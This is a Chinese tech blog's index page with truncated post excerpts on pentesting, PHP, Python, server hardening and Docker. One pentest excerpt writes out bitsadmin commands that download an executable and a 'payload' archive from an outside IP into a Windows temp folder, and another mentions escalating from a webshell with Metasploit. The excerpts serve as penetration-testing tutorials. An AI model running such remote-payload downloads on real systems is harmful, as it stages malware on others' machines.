Metasploit 简单提权

2018-02-26 [Pentest](tools,intranet)

0x00 前提虚拟机有一个shell：http://10.11.11.20/a.php，物理机IP是211.222.222.72 more...

Windows 终端下载文件和执行远程文件

2018-02-06 [Pentest](intranet)

环境：Windows Server 2008 R2 Enterprise 0x00 bitsadmin下载文件 bitsadmin /rawreturn /transfer getfile http://114.115.123.123/a.exe C:\Windows\Temp\a.exe bitsadmin /rawreturn /transfer getpayload http://114.115.123.123/a.zip C:\Windows\Temp\a.zip bitsadmin /transfer myDownLoadJob /download /priority normal http://114.115.123.123/a.exe C:\Windows\Temp\a.exe 0x01 certutil下载文 more...

Python 中执行系统命令

2018-01-29 [Python](python,module)

0x00 使用模块在python执行系统命令一般可以通过3个模块来实现，这三个模块是：os、commands、subproces more...

打包下载 php 文件

2018-01-08 [PHP](php)

0x00 代码如下 <?php function addFileToZip($zip,$zipname,$path){ $handler = opendir($path); while(($filename = readdir($handler))!==false) { if($filename != "." && $filename != ".." && $filename!= $zipname){ if (is_dir($path."/".$filename)) { //如果读取的某个对象是文件夹，则递归 addFileToZip($zip,$zipname,$path."/".$filename); } else { $zip->addFile($path."/".$filename); } } } @closedir($path); } function tar($zipname,$path) { more...

XXE 漏洞

2017-12-09 [Pentest](xml)

0x00 XXE XML文件作为配置文件(spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG more...

DNS 域传送漏洞

2017-11-20 [Pentest](信息泄露)

0x00 DNS域传送 DNS服务器分为：主服务器、备份服务器和缓存服务器，在主备服务器之间则通过“DNS域传送”同步数据。若DN more...

中间件安全配置

2017-10-28 [Server](server)

0x00 Apache 服务器安全配置 #查看服务器运行权限 $ ps aux|grep apache|grep -v grep $ sudo lsof -i:80 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME apache2 1377 root 4u IPv6 12596 0t0 TCP *:http (LISTEN) apache2 21121 www-data 4u IPv6 12596 0t0 TCP *:http (LISTEN) apache2 21122 more...

Docker 之数据卷

2017-09-19 [Linux](docker)

0x00 为什么使用数据卷 Docker镜像是由多个文件系统(只读层)叠加而成的。当一个容器启动时Docker会加载只读镜像层并在 more...

Docker 之 Dockerfile

2017-08-18 [Linux](docker)

操作系统：macOS Sierra 10.12.6 Docker版本：Docker version 18.09.0, build 4d60db4 0x00 Dockerfile Dockerfile里面其实是一条条的指令，Docke more...

Docker 之镜像与容器